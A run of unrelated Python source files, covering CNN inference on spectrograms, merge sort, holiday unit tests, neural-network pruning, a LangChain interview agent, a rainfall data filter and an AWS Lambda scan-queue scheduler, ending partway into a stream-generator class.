#!/usr/bin/env python
# -*- coding: utf-8 -*-

"""
Applies a trained CNN to given input data.

Author: Jan Schlüter
"""

import io
import sys
import h5py
import numpy as np
import scipy.signal
import scipy.ndimage
if tuple(map(int, scipy.__version__.split('.'))) < (0, 12, 0):
    import warnings
    warnings.simplefilter("ignore", np.ComplexWarning)

try:
    from scipy.special import expit as sigmoid
except ImportError:
    def sigmoid(x, out):
        if out is not x:
            out[:] = x
        np.negative(out, out)
        np.exp(out, out)
        out += 1
        np.reciprocal(out, out)
        return out

def lrelu(x, out):
    if out is not x:
        out[:] = x
    out[x < 0] *= .01
    return out

transfuns = {
    'tanh': np.tanh,
    'relu': lambda x, out: np.maximum(0, x, out),
    'lrelu': lrelu,
    'sigmoid': sigmoid,
}

def load_cnn(modelfile, modelvars=None):
    arch = modelvars and modelvars.get('cnn.arch', None)
    if not arch:
        raise ValueError("missing architecture definition")
    if modelfile.endswith('.h5'):
        import h5py
        with h5py.File(modelfile, 'r') as f:
            params = {k: v[...] for k, v in f.items()}
    else:
        f = np.load(modelfile)
        params = {k: f[k] for k in f.files}
        f.close()
    params = [params['param%d' % i] for i in range(len(params))]
    model = []
    arch = [layerdef.split(':') for layerdef in arch.split(',')]
    while arch:
        kind, shape = arch.pop(0)
        if kind == 'conv':
            layerparams = {'W': params.pop(0), 'bias': params.pop(0)}
            if arch[0][0] == 'pool':
                _, poolshape = arch.pop(0)
                layerparams['maxpool'] = tuple(map(int, poolshape.split('x')))
            model.append((kind, lrelu, layerparams))
        elif kind == 'dense':
            layerparams = {'W': params.pop(0), 'bias': params.pop(0)}
            model.append((kind, lrelu, layerparams))
    if params:
        model.append(('dense', sigmoid, {'W': params.pop(0), 'bias': params.pop(0)}))
    return model

def forward_pass(datapoints, blocklen, model):
    # this is a non-optimal reimplementation of what could be done with theano,
    # to avoid the dependency on theano.
    # it simulates extracting blocks of the given blocklen with a hopsize of 1
    # and passing them through the given model. to avoid redundant computation,
    # it applies the convolution and max-pooling to the full input at once,
    # keeping track of the blocklen, then forms blocks for the fully-connected
    # layers only.

    def pool(data, shape, blocklen):
        # data is a list of offsets,
        # each offset is a list of channels,
        # each channel is a 2D numpy array.
        # If we wanted to expand this into blocks, we would take blocks of
        # `blocklen` frames of all channels in a round-robin manner over the
        # offsets, i.e.:
        # data[0][:][0:blocklen], data[1][:][0:blocklen],
        # data[2][:][0:blocklen], data[3][:][0:blocklen], ...,
        # data[0][:][1:blocklen+1], data[1][:][1:blocklen+1],
        # data[2][:][1:blocklen+1], data[3][:][1:blocklen+1], ...,
        # Initially, `forward_pass` starts with just a single offset. Each
        # time we max-pool over time by a factor of N, the number of
        # different offsets to consider increases by a factor of N. By
        # managing different offsets, we can perform convolution and pooling
        # over the 2D numpy arrays without dividing them into blocks (and
        # running into redundant computations), even when pooling over time.

        # first, we just apply a sliding maximum filter for each channel,
        # subsampling in frequency direction, but not in time direction
        mf = scipy.ndimage.filters.maximum_filter
        data = [[mf(channel, tuple(shape), mode='constant')[:, shape[1]//2::shape[1]]
                for channel in offset] for offset in data]

        # shortcut: if we do not pool over time, we can return early
        if shape[0] <= 1:
            return data

        # when pooling over time, from the sliding maximum we need to ignore
        # the last few frames that involved zero-padding,
        trim_right = (shape[0] - 1) // 2
        # plus the last few frames that might fall away if we'd actually
        # extract the blocks and pooled them
        trim_right += blocklen % shape[0]

        # we iterate over the combination of newly created offsets (due to
        # pooling over time) and the existing different input offsets in
        # correct order to yield an output following the input convention
        output = []
        for off in xrange(shape[0]):
            for offset in data:
                piece = [channel[shape[0]//2 + off:-trim_right or None:shape[0]]
                        for channel in offset]
                if len(piece[0]) >= blocklen // shape[0]:
                    output.append(piece)

        # that's it
        return output

    def conv(datapoints, blocklen, transfun, W, bias, maxpool=None):
        # convolve each offset and channel separately with each filter, summing up results over input channels
        datapoints = [[sum(scipy.signal.convolve2d(channel, w[c], mode='valid') for c, channel in enumerate(offset)) for w in W] for offset in datapoints]
        blocklen = blocklen - W.shape[2] + 1
        # max-pool
        if maxpool is not None:
            datapoints = pool(datapoints, maxpool, blocklen)
            blocklen = blocklen // maxpool[0]

        # join channels to single matrix
        datapoints = [np.asarray(offset) for offset in datapoints]
        for offset in datapoints:
            # add bias per output channel
            offset += bias[:,np.newaxis,np.newaxis]
            # apply nonlinearity (in-place)
            transfun(offset, offset)
        return datapoints, blocklen

    def full(datapoints, blocklen, transfun, W, bias):
        if blocklen <= 0:
            raise ValueError("blocklen must be greater than zero")
        # if datapoints is not a 2D array, we turn it into one by copying out
        # blocks (possibly in round-robin across different offsets) as needed
        if isinstance(datapoints, list) or (datapoints.ndim == 4):
            num_offsets = len(datapoints)
            if (blocklen == 1) and (num_offsets == 1):
                # shortcut: block length 1 and single offset: just reshape it
                datapoints = datapoints[0,0]
            else:
                datapoints = np.vstack(datapoints[off][:,idx:idx+blocklen].ravel()
                        for idx in xrange(datapoints[0].shape[1] - blocklen + 1)
                        for off in xrange(num_offsets)
                        if idx+blocklen <= datapoints[off].shape[1])
        # compute neuron activations
        datapoints = np.dot(datapoints, W)
        datapoints += bias
        # apply nonlinearity (in-place)
        transfun(datapoints, datapoints)
        return datapoints, blocklen

    # add an extra dimension to handle multiple different max-pooling offsets
    datapoints = datapoints[np.newaxis]
    for layertype, transfun, layerparams in model:
        #print layertype, layerparams['W'].shape
        if layertype == 'conv':
            datapoints, blocklen = conv(datapoints, blocklen, transfun, **layerparams)
        elif layertype == 'dense':
            datapoints, blocklen = full(datapoints, blocklen, transfun, **layerparams)
        else:
            raise ValueError('unknown layer type %s' % layertype)
    return datapoints

def lasagne_forward_pass(indata, blocklen, model):
    # for some reason, we cannot have a global import for this, otherwise the
    # WSGI web app never comes up.
    import lasagne
    import theano
    import theano.tensor as T
    class DilatedMaxPool2DLayer(lasagne.layers.MaxPool2DLayer):
        def __init__(self, *args, **kwargs):
            dilation = kwargs.pop('dilation', (1, 1))
            super(DilatedMaxPool2DLayer, self).__init__(*args, **kwargs)
            self.dilation = lasagne.utils.as_tuple(dilation, 2, int)
            assert self.dilation[1] == 1, "only implemented dilation over time"
            assert self.stride[0] == 1, "require unstrided pooling over time"
        def get_output_shape_for(self, input_shape):
            shape = super(DilatedMaxPool2DLayer, self).get_output_shape_for(input_shape)
            return (shape[0], shape[1],
                    lasagne.layers.pool.pool_output_length(input_shape[2],
                        pool_size=(self.pool_size[0] - 1) * self.dilation[0] + 1,
                        stride=self.stride[0], pad=self.pad[0], ignore_border=self.ignore_border),
                    shape[3])
        def get_output_for(self, input, **kwargs):
            input_shape = input.shape
            if self.dilation[0] > 1:
                pad_w = (self.dilation[0] - input_shape[2] % self.dilation[0]) % self.dilation[0]
                input = T.concatenate((input, T.zeros((input_shape[0], input_shape[1], pad_w, input_shape[3]), input.dtype)), axis=2)
                input = input.reshape((input_shape[0], input_shape[1], -1, self.dilation[0], input_shape[3]))
                input = input.transpose(0, 3, 1, 2, 4)
                input = input.reshape((-1,) + tuple(input.shape[2:]))
            output = super(DilatedMaxPool2DLayer, self).get_output_for(input, **kwargs)
            if self.dilation[0] > 1:
                output = output.reshape((input_shape[0], self.dilation[0]) + tuple(output.shape[1:]))
                output = output.transpose(0, 2, 3, 1, 4)
                output = output.reshape((input_shape[0], output.shape[1], -1, output.shape[4]))
                output = output[:, :, :output.shape[2] - pad_w]
            return output

    invar = theano.tensor.tensor4('input')
    layer = lasagne.layers.InputLayer((1, indata.shape[0], None, indata.shape[2]), invar)
    dilate = 1
    for layertype, transfun, layerparams in model:
        #print layertype, layer.output_shape, layerparams['W'].shape
        if layertype == 'conv':
            W = layerparams['W']
            kwargs = dict(num_filters=W.shape[0], filter_size=W.shape[-2:], b=layerparams['bias'], nonlinearity=None)
            if dilate != 1:
                layer = lasagne.layers.DilatedConv2DLayer(layer, W=W.transpose(1,0,2,3)[:,:,::-1,::-1], dilation=(dilate, 1), **kwargs)
            else:
                layer = lasagne.layers.Conv2DLayer(layer, W=W, **kwargs)
            blocklen = blocklen - W.shape[2] + 1
            if layerparams.get('maxpool', None):
                poolshape = layerparams['maxpool']
                if dilate != 1:
                    layer = DilatedMaxPool2DLayer(layer, poolshape, stride=(1, poolshape[1]), dilation=(dilate, 1))
                else:
                    layer = lasagne.layers.MaxPool2DLayer(layer, poolshape, stride=(1, poolshape[1]))
                blocklen = blocklen // poolshape[0]
                dilate *= poolshape[0]  # need to increase dilation for future layers
        elif layertype == 'dense':
            if (blocklen > 1) or (dilate != 1):
                W = layerparams['W']
                W = W.T.reshape((W.shape[1], layer.output_shape[1], blocklen, layer.output_shape[-1]))
                layer = lasagne.layers.DilatedConv2DLayer(layer, num_filters=W.shape[0], filter_size=W.shape[-2:], W=W.transpose(1,0,2,3), b=layerparams['bias'], dilation=(dilate, 1), nonlinearity=None)
                layer = lasagne.layers.DimshuffleLayer(layer, (2, 0, 1, 3))
                blocklen = 1
                dilate = 1
            else:
                W = layerparams['W']
                layer = lasagne.layers.DenseLayer(layer, num_units=W.shape[1], W=W, b=layerparams['bias'], nonlinearity=None)
        if transfun is transfuns['lrelu']:
            layer = lasagne.layers.NonlinearityLayer(layer, lasagne.nonlinearities.leaky_rectify)
        elif transfun is transfuns['sigmoid']:
            layer = lasagne.layers.NonlinearityLayer(layer, lasagne.nonlinearities.sigmoid)
    #print "compiling..."
    fn = theano.function([invar], lasagne.layers.get_output(layer, deterministic=True))
    #print "computing..."
    return fn(indata[np.newaxis]), fn

def apply_cnn(indata, blocklen, modelfile, autopad=True, modelvars=None):
    try:
        import lasagne
    except ImportError:
        lasagne = None
    # stack channels if needed
    if isinstance(indata, (list, tuple)):
        indata = np.vstack(channel[np.newaxis, ...] for channel in indata)  # num_channels x num_datapoints x num_feats
    # zero-pad if needed (actually, we pad by repeating the first or last frame)
    if autopad and blocklen > 1:
        # XXX: this adds one frame too little for an even blocklen
        zeropad = np.zeros((indata.shape[0], blocklen/2, indata.shape[2]), dtype=indata.dtype)
        indata = np.concatenate((zeropad + indata[:,:1], indata, zeropad + indata[:,-1:]), axis=1)
    # shortcut: if we have lasagne and we cached the compiled function, call it
    if lasagne is not None and (modelfile, blocklen) in apply_cnn.cache:
        fn = apply_cnn.cache[(modelfile, blocklen)]
        return fn(indata[np.newaxis])
    # load cnn model
    model = load_cnn(modelfile, modelvars)
    # pass the full data array to the CNN
    if lasagne is not None:
        outputs, fn = lasagne_forward_pass(indata, blocklen, model)
        apply_cnn.cache[(modelfile, blocklen)] = fn
    else:
        outputs = forward_pass(indata, blocklen, model)
    return outputs
apply_cnn.cache = {}

def pad_data(block, pad_left, pad_right):
    # pad block
    out = np.empty((block.shape[0] + pad_left + pad_right,) + block.shape[1:], block.dtype)
    out[:pad_left] = 0
    out[pad_left:-pad_right or None] = block
    out[-pad_right or len(out):] = 0
    return out

def predict(spect, modelfile, stdfile):
    with io.open(modelfile + '.vars', 'r') as f:
        modelvars = dict(l.rstrip('\r\n').split('=') for l in f if l.rstrip('\r\n'))
    blocklen = int(modelvars.get('spect.blocksize', 115))

    # padding
    pad_left  = blocklen // 2
    pad_right = blocklen - pad_left
    spect = pad_data(spect, pad_left, pad_right)

    # z-scoring
    if stdfile:
        with h5py.File(stdfile, 'r') as f:
            stdmean = {k: v[...] for k, v in f.items()}
        spect -= stdmean['mean'].ravel()
        spect /= stdmean['std'].ravel()

    # CNN
    activations = apply_cnn(spect[np.newaxis], blocklen=blocklen, modelfile=modelfile, autopad=False, modelvars=modelvars)

    # smoothing
    activations = scipy.ndimage.filters.median_filter(activations, (56,) + (1,) * (activations.ndim - 1), mode='nearest')

    return activations


import math

def merge(a, b):
    #print(a, b)
    a.append(math.inf)
    b.append(math.inf)
    index_a = 0
    index_b = 0
    result = []
    for i in range(len(a) - 1 + len(b) - 1):
        if a[index_a] < b[index_b]:
            result.append(a[index_a])
            index_a += 1
        else:
            result.append(b[index_b])
            index_b += 1
    return result

def merge_sort(lower_end, upper_end, items):
    #print(lower_end, upper_end)
    if lower_end == upper_end:
        return [items[lower_end]]
    center = (lower_end + upper_end) // 2
    return merge(merge_sort(lower_end, center, items), merge_sort(center + 1, upper_end, items))

items = [3,2,9,15,7,8,1,41,12,4,14,16,12,20,2]
print(merge_sort(0, len(items) - 1, items))


import pytest
from edgar.utils.date.holidays import us_holidays
from edgar.utils.date.date_utils import Date
from typing import Dict

class TestHolidays(object):
    @pytest.mark.parametrize("date_str, expected_result", [
        ("2020-01-01", True),
        ("2020-01-20", True),
        ("2020-02-17", True),
        ("2020-05-25", True),
        ("2020-07-03", True),
        ("2020-09-07", True),
        ("2020-11-11", True),
        ("2020-11-26", True),
        ("2020-12-25", True),
        ("2020-01-25", False),
    ])
    def test_contains(self, date_str: str, expected_result: bool) -> None:
        date_obj: Date = Date(date_str)
        holidays: us_holidays = us_holidays(date_obj.year())
        assert (date_obj in holidays) == expected_result

    def test_iterator(self) -> None:
        date_obj: Date = Date("2020-01-01")
        holidays: us_holidays = us_holidays(date_obj.year())
        dates: Dict[str, bool] = {}
        for i in holidays:
            dates[str(i)] = True

        assert ("2020-01-01") in dates
        assert ("2020-01-20") in dates
        assert ("2020-02-17") in dates
        assert ("2020-05-25") in dates
        assert ("2020-07-03") in dates
        assert ("2020-09-07") in dates
        assert ("2020-11-11") in dates
        assert ("2020-11-26") in dates
        assert ("2020-12-25") in dates

    @pytest.mark.parametrize("date_str, expected_result", [
        ("2020-01-01", 'New Year''s Day'),
        ("2020-01-20", 'Birthday of Martin Luther King, Jr.'),
        ("2020-02-17", 'Washington''s Birthday'),

    ])
    def test_name(self, date_str: str, expected_result: str) -> None:
        holidays: us_holidays = us_holidays(2020)
        assert (holidays << date_str) == expected_result


from utils.main_utils import *
import time
import torch.distributed as dist
import gc
import copy

class GradualPruner:
    def __init__(self,multi_stage_pruner,train_dataloader,test_dataloader,criterion,
        params,reset_optimizer,momentum,weight_decay,results,filename,seed,mask=None,model=None,device=None,first_epoch=0,distributed=False,rank=-1,world_size=1):
        set_seed(seed)
        assert not distributed or rank >=0
        self.pruner=multi_stage_pruner       #Pruner may have a subobject of model
        self.model=model
        self.device=device
        self.train_dataloader=train_dataloader
        self.test_dataloader=test_dataloader
        self.criterion=criterion
        self.params=params
        self.reset_optimizer=reset_optimizer
        self.momentum=momentum
        self.weight_decay=weight_decay
        self.results=results #List of dictionnaries holding the results
        self.filename=filename #Filename to write results
        if mask is None:
            self.mask=torch.ones_like(get_pvec(self.model_without_ddp,self.params)).cpu() != 0
        else:
            self.mask = mask
        self.mask = self.mask.to(self.device)
        self.optim=torch.optim.SGD(self.model.parameters(), lr=0, momentum=self.momentum, weight_decay=self.weight_decay)
        self.runloss=0
        self.step=0
        self.first_epoch=first_epoch
        self.distributed=distributed
        self.rank = rank
        self.world_size=world_size
        if self.distributed:
            self.model_without_ddp = self.pruner.pruner.model
        else:
            self.model_without_ddp = self.model
        print('Initial Model has sparsity',(~self.mask.cpu().numpy()).mean(), ' at rank',self.rank)

    def train(self):
        torch.cuda.empty_cache()
        gc.collect()
        for x, y in self.train_dataloader:
            x = x.to(self.device)
            y = y.to(self.device)
            zero_grads(self.model)
            loss = self.criterion(self.model(x), y)
            #self.runloss = .99 * self.runloss + .01 * loss.item()
            loss.backward()
            self.optim.step()
            apply_mask(self.mask,self.model_without_ddp,self.params,self.device)
            self.step+=1
            if self.step % 100 == 0:
                print('step %06d: runloss=%.3f' % (self.step, self.runloss), self.rank)
        torch.cuda.empty_cache()
        gc.collect()

    def prune(self,nepochs,lr_schedule,prunepochs,sparsities,base_level_=0.1):

        for key in ['epoch','pruning_res','running_loss','acc','lr','momentum','weight_decay']:
            self.results[-1][key] = []

        for epoch in range(self.first_epoch,nepochs):
            if (self.distributed):
                self.train_dataloader.sampler.set_epoch(epoch)
            if epoch in prunepochs and (not self.distributed or self.rank == 0):
                if self.reset_optimizer: ##Reset momentum
                    self.optim = torch.optim.SGD(self.model.parameters(), lr=0, momentum=self.momentum, weight_decay=self.weight_decay)
                epoch_index = prunepochs.index(epoch)
                if epoch_index > 0:
                    base_level = sparsities[epoch_index-1]
                else:
                    base_level = base_level_
                self.model.eval()
                w_pruned,mask=self.pruner.prune(self.mask,sparsities[epoch_index],base_level)
                self.mask = mask.to(self.device)
                del mask
                del w_pruned
                pruning_res = copy.deepcopy(self.pruner.results)
                self.pruner.reset_pruner()
                self.model.train()
                if epoch == prunepochs[-1]:
                    ##Done pruning - delete pruner
                    self.pruner = None
            else:
                pruning_res=[]

            if self.distributed:
                dist.barrier()
                sync_weights(self.model,self.rank,self.world_size)
                sync_mask(self,self.rank,self.world_size)
                print('Done syncing at',self.rank, 'sparsity',(~(get_pvec(self.model.module,self.params).cpu() != 0).numpy()).mean(),'mask',(~self.mask.cpu().numpy()).mean())
            ##Set learning rate
            for param_group in self.optim.param_groups:
                param_group['lr'] = lr_schedule[epoch]

            print('starting epoch',epoch, '-- lr',lr_schedule[epoch],' at rank',self.rank)

            self.model.train()
            start_epoch = time.time()
            self.train()
            end_epoch = time.time()
            self.model.eval()

            print('epoch ',epoch, ' - time :',end_epoch-start_epoch,' at rank',self.rank)
            if self.distributed:
                dist.barrier()
            if (not self.distributed or self.rank == 0):
                acc = compute_acc(self.model_without_ddp,self.test_dataloader,self.device)
                print('epoch ',epoch, ' - acc :',acc, ' - time :',end_epoch-start_epoch,' at rank',self.rank)
                PATH = self.filename+'_epoch'+str(epoch)+'.pth'
                torch.save({
                'epoch': epoch,
                'model_state_dict': self.model.state_dict(),
                'optimizer_state_dict': self.optim.state_dict()}, PATH)
                self.results[-1]['epoch'].append(epoch)
                self.results[-1]['pruning_res'].append(pruning_res)
                self.results[-1]['running_loss'].append(self.runloss)
                self.results[-1]['acc'].append(acc)
                self.results[-1]['lr'].append(lr_schedule[epoch])
                self.results[-1]['momentum'].append(self.momentum)
                self.results[-1]['weight_decay'].append(self.weight_decay)

                with open(self.filename, "w") as file:
                    json.dump(self.results, file,cls=NpEncoder)


import openai
import os, re
from typing import Dict, Union, Any, List
from langchain import LLMChain
from langchain.agents import AgentExecutor,AgentOutputParser,ZeroShotAgent
from langchain.agents import load_tools , initialize_agent

from langchain.memory import ConversationBufferMemory
from langchain.chat_models import ChatOpenAI
from langchain.schema import AgentAction, AgentFinish

from langchain.callbacks.streaming_stdout import StreamingStdOutCallbackHandler
from langchain.callbacks import StreamlitCallbackHandler

from langchain.schema import AgentAction, AgentFinish
import streamlit as st
from streamlit.logger import get_logger

logger = get_logger(__name__)

import time
from datetime import datetime
from typing import Dict, List, Any, Tuple, Optional
from uuid import UUID

# Initialize Langchain components

#******  Custom   *********
class _OutputParser(AgentOutputParser):

    def parse_text_to_json(self,input_text):
    # Split the input text based on ": " and "\n"
        segments = input_text.strip().split('\n')
        data = {}
        error={}
        try:
            for segment in segments:
                key, value = segment.split(": ", 1)  # Split at the first occurrence of ": "
                data[key] = value
        except Exception as e:
            error={'Error': f"Segment: {segment} , Error: {str(e)}"}

        # Create the desired JSON structure
        json_data = {
            "Question": data.get("Question", ""),
            "Thought": data.get("Thought", ""),
            "Action": data.get("Action", ""),
            "Action Input": data.get("Action Input", ""),
            "Error" : error,
        }

        return json_data

    def parse(self, llm_output: str) -> Union[AgentAction, AgentFinish]:
        # Check if agent should finish

        print(f" **** DEBUG **** {llm_output} ****")
        #json_data={'output':self.parse_text_to_json(llm_output)}
        action_match=None
        final_match=None
        thought_match=None
        question_match=None

        thought_substring=""
        action_substring=""
        question_substring=""
        final_substring=""

        pattern_thought = "Thought:(.*?)(?=\\n)"
        thought_match = re.search(pattern_thought, llm_output)

        if thought_match:
            thought_substring = thought_match.group(1)
            print("Substring between 'Thought:' and '\\n':", thought_substring)

        pattern_action = "Action:(.*?)(?=\\n)"
        action_match = re.search(pattern_action, llm_output)

        if action_match:
            action_substring = action_match.group(1)
            print("Substring between 'Action:' and '\\n':", action_substring)

        pattern_question = "Question:(.*?)(?=\\n)"
        question_match = re.search(pattern_question, llm_output)

        if question_match:
            question_substring = question_match.group(1)
            print("Substring between 'Question:' and '\\n':", question_substring)

        pattern_final = "Final Answer:(.*?)(?=\\n)"
        final_match = re.search(pattern_final, llm_output)

        if final_match:
            final_substring = final_match.group(1)
            print("Substring between 'Question:' and '\\n':", final_substring)

        #if "Final Answer:" in llm_output:
        if final_match:
            print("Final - Agent should finish")
            logger.debug(llm_output)
            #st.markdown(llm_output.split("Final Answer:")[-1].strip())
            return AgentFinish(
                # Return values is generally always a dictionary with a single `output` key
                # It is not recommended to try anything else at the moment :)
                #return_values={"output":llm_output.split("Final Answer:")[-1].strip()},
                return_values={"output":final_substring},
                log=llm_output,
                )

        if question_match:
        #if "Question:" in llm_output:
            print("Agent should finish - Question")
            logger.debug(llm_output)
            #t.markdown(llm_output.split("Question:")[-1].strip())
            return AgentFinish(
                # Return values is generally always a dictionary with a single `output` key
                # It is not recommended to try anything else at the moment :)
                #return_values={"output": llm_output.split("Question:")[-1].strip()},
                return_values={"output":question_substring},
                log=llm_output,
            )

        # Parse out the action and action input
        regex = r"Action\s*\d*\s*:(.*?)\nAction\s*\d*\s*Input\s*\d*\s*:[\s]*(.*)"
        match = re.search(regex, llm_output, re.DOTALL)
        if not match:

            print("Parsing Action Input")
            logger.debug(llm_output)
            return AgentFinish(
                # Return values is generally always a dictionary with a single `output` key
                # It is not recommended to try anything else at the moment :)
                #return_values={"output":llm_output.split("Action Input:")[-1].strip()},
                return_values={"output":question_substring},
                log=llm_output,
            )
            # raise ValueError(f"Could not parse LLM output: `{llm_output}`")
        action = match.group(1).strip()
        action_input = match.group(2)

        #This can't be agent finish because otherwise the agent stops working.
        print(" Not finished yet")
        return AgentAction(tool=action, tool_input=action_input.strip(" ").strip('"'), log=llm_output)
#******  Agent   *********

class Agent():

    def get_input(self) -> str:
        print(f" Inside input function ")
        has_feedback=False
        feedback=st.chat_message(" Please reply")

        return feedback

    def __init__(self, candidate_name:str, position_name:str,openai_api_key:str ) -> None:

        model_version="gpt-3.5-turbo"
        #model_version="gpt-4"

        openai.api_key=openai_api_key
        self.candidate_name=candidate_name
        self.position_name=position_name

        self.agent_name="Lisa"
        self.company_name="Google" #whitelabel

        self.output_parser = _OutputParser()

        self.llm = ChatOpenAI(temperature=0, model_name=model_version, streaming=True)
        self.tools = load_tools(["human", "serpapi", "llm-math"], llm=self.llm)

        fmt_instructions= """Output the following json format: [{'Thought':'string','Question':'string','Action':'string','Action Input':'string',
        Final Answer: 'string'}] """

        prefix = f"You are a Front Line Recruiter at {self.company_name} named {self.agent_name}.\
                    You are hiring for the role of {self.position_name}. \
                    Roleplay a job interview with the candidate.\
                    Ask appropriate questions. \
                    You have access to the following tools:"

        suffix = """{chat_history}
                    Input: {input}
                    {agent_scratchpad}"""

        self.prompt = ZeroShotAgent.create_prompt(
            self.tools,
            prefix=prefix,
            suffix=suffix,
            input_variables=["input", "chat_history", "agent_scratchpad"],
        )
        self.memory = ConversationBufferMemory(memory_key="chat_history")
        #,returnMessages=True, input_key='input', output_key="output")

        llm_chain = LLMChain(llm=self.llm, prompt=self.prompt)
        brain=ZeroShotAgent(llm_chain=llm_chain,
                            tools=self.tools,
                            verbose=True,
                            return_intermediate_steps=True,
                            output_parser=self.output_parser,
                            )

        self.agent= AgentExecutor.from_agent_and_tools(agent=brain,
                                    tools=self.tools,
                                    verbose=True,
                                    memory=self.memory,
                                    )

    def get_agent_response(self,prompt_text):

        callback_handler=StreamingStdOutCallbackHandler()
        response = self.agent({"input": prompt_text},callbacks=[callback_handler] ,return_only_outputs=True)
        return response

    def ask(self,input: str) -> str:

        #callback_handler = StreamlitCallbackHandler(st.container())
        callback_handler=StreamingStdOutCallbackHandler()

        try:
            response = self.agent({"input": input},callbacks=[callback_handler],return_only_outputs=True)
        except Exception as e:
            response = str(e)
            if response.startswith("Could not parse LLM output: `"):
                response = response.removeprefix("Could not parse LLM output: `").removesuffix("`")
                return response
            else:
                raise Exception(str(e))


# 1. filter rain below threshold
import pandas as pd

def filterRain(data, threshold, saveFile, alice):
    '''

        Parameters:
            pos_data: pandas dataframe containing tweets
        Output: pandas dataframe
    '''

    print("Filter data")
    data = data[data.rain> threshold]
    if alice:
        startDate = pd.Timestamp(2015,12,31)
        endDate = pd.Timestamp(2021,3,1)
    else:
        startDate = pd.Timestamp(2016,1,6)
        endDate = pd.Timestamp(2021,3,1)

    print("set proper date format")
    data.loc[:,'date'] = pd.to_datetime(data['date'], format='%Y%m%d')
    print("filter dates")
    data = data[(data['date']>startDate)&(data['date']<endDate)]
    data = data.reset_index(drop=True)
    data.to_csv(saveFile, index=False)
    return data

if __name__ == '__main__':
    # folder = "/data/s2155435/csv112/"
    # print("load data")
    # rain = pd.read_csv(folder + 'pandafied_h5_rain_2007-2020.csv')
    # output = filterRain(rain, 10, folder+'rainFiltered.csv')

    folder = "../../csv112/"
    print("load data")
    rain = pd.read_csv(folder + 'pandafied_h5_rain_2017_12.csv')
    output = filterRain(rain, 10, folder+'rainFilteredSample.csv', alice=False)
    print(output)


import os
import aioboto3
import time
from utils.lambda_decorators import ssm_parameters, async_handler
from boto3.dynamodb.conditions import Key
from decimal import Decimal
from asyncio import gather

region = os.environ["REGION"]
stage = os.environ["STAGE"]
app_name = os.environ["APP_NAME"]

ssm_client = aioboto3.client("ssm", region_name=region)
sqs_client = aioboto3.client("sqs", region_name=region)
dynamo_resource = aioboto3.resource("dynamodb", region_name=region)

# ssm params
ssm_prefix = f"/{app_name}/{stage}"
SCAN_PLAN_TABLE = f"{ssm_prefix}/scheduler/dynamodb/scans_planned/id"
SCAN_INFO_TABLE = f"{ssm_prefix}/scheduler/dynamodb/address_info/id"
INDEX_NAME = f"{ssm_prefix}/scheduler/dynamodb/scans_planned/plan_index"
PLANNING_PERIOD_SECONDS = f"{ssm_prefix}/scheduler/config/period"
PLANNING_BUCKETS = f"{ssm_prefix}/scheduler/config/buckets"
SCAN_DELAY_QUEUE = f"{ssm_prefix}/scheduler/scan_delay_queue"

# This will pick a random delay across the period of the bucket this
# lambda fired to plan
async def queue_scans(batch, initiation_queue, scan_info_table):
    print(f"Initiating batch of scans {batch}")
    queue_time = time.time()
    await sqs_client.send_message_batch(
        QueueUrl=initiation_queue,
        Entries=[
            {
                # IP4 addresses have . and IP6 have : replace those with -
                "Id": address.replace(".", "-").replace(":", "-"),
                "DelaySeconds": delay,
                "MessageBody": f"{{\"AddressToScan\":\"{address}\"}}"
            }
            for address, _, delay in batch
        ]
    )

    for address, ingested_time, _ in batch:
        await scan_info_table.update_item(
            Key={"Address": address},
            UpdateExpression="SET LastPlannedScanQueued = :LastPlannedScanQueued",
            ExpressionAttributeValues={
                ":LastPlannedScanQueued": int(queue_time)
            }
        )

async def remove_plan_entries(batch, table):
    async with table.batch_writer() as writer:
        for address, ingested_time, _ in batch:
            await writer.delete_item(Key={"Address": address})

@ssm_parameters(
    ssm_client,
    SCAN_PLAN_TABLE,
    SCAN_INFO_TABLE,
    INDEX_NAME,
    PLANNING_PERIOD_SECONDS,
    PLANNING_BUCKETS,
    SCAN_DELAY_QUEUE
)
@async_handler()
async def initiate_scans(event, _):
    params = event['ssm_params']

    plan_period = int(params[PLANNING_PERIOD_SECONDS])
    plan_buckets = int(params[PLANNING_BUCKETS])
    bucket_length = plan_period / plan_buckets

    # we take now and look a whole bucket in the future for tasks to queue
    now = time.time()
    last_task_time_to_queue = now + bucket_length
    print(f"Querying all of the scans planned with a PlannedScanTime < {last_task_time_to_queue}")
    scan_plan_table = dynamo_resource.Table(params[SCAN_PLAN_TABLE])
    scan_info_table = dynamo_resource.Table(params[SCAN_INFO_TABLE])
    scan_delay_queue = params[SCAN_DELAY_QUEUE]

    pagination_params = {}
    scans_initiated = 0
    while True:
        scan_result = await scan_plan_table.scan(
            IndexName=params[INDEX_NAME],
            FilterExpression=Key("PlannedScanTime").lte(Decimal(last_task_time_to_queue)),
            **pagination_params
        )

        plan_keys_and_delays = [
            # calc the delay between now and the time to scan, can't have negative delay
            (scan["Address"], scan["DnsIngestTime"], int(max(0, float(scan["PlannedScanTime"]) - now)))
            for scan in scan_result["Items"]
        ]

        # SQS batch size max is 10, delete from the dynamodb in the same batches for ease
        batches = [plan_keys_and_delays[i:i + 10] for i in range(0, len(plan_keys_and_delays), 10)]
        # for each batch send to sqs and then delete from db. We may end up processing things multiple
        # times in a failure scenario e.g. when we scan and fail to delete, but we will never delete
        # without a task going on to the queue
        # N.B. We may want to change the condition used to determine when to remove the plan entries,
        # it might be better to remove it only after a scan is successfully finished. Avoiding that now,
        # because it is more complex. Because of chains of scans, and indexing in elastic, there is
        # not really a good notion of a scan being finished
        for batch in batches:
            await queue_scans(batch, scan_delay_queue, scan_info_table)
            scans_initiated += len(batch)
            await remove_plan_entries(batch, scan_plan_table)

        if "LastEvaluatedKey" in scan_result:
            pagination_params["ExclusiveStartKey"] = scan_result["LastEvaluatedKey"]
        else:
            break

    print(f"Completed queuing {scans_initiated} scan initiation messages")

# Test cases can use this to clean up the clients
async def clean_clients():
    return await gather(
        ssm_client.close(),
        sqs_client.close(),
        dynamo_resource.close()
    )

# For developer test use only
if __name__ == "__main__":
    from asyncio import run
    from aws_xray_sdk.core import xray_recorder
    from aws_xray_sdk.core.lambda_launcher import LambdaContext
    try:
        xray_recorder.configure(context=LambdaContext())
        initiate_scans({}, type("Context", (), {"loop": None})())
    finally:
        run(clean_clients())


import numpy as np
from skmultiflow.data.base_stream import Stream
from skmultiflow.utils import check_random_state

class HyperplaneGenerator(Stream):
    r""" Hyperplane stream generator.

    Generates a problem of prediction class of a rotation hyperplane. It was
    used as testbed for CVFDT and VFDT in [1]_.

    A hyperplane in d-dimensional space is the set of points :math:`x` that satisfy
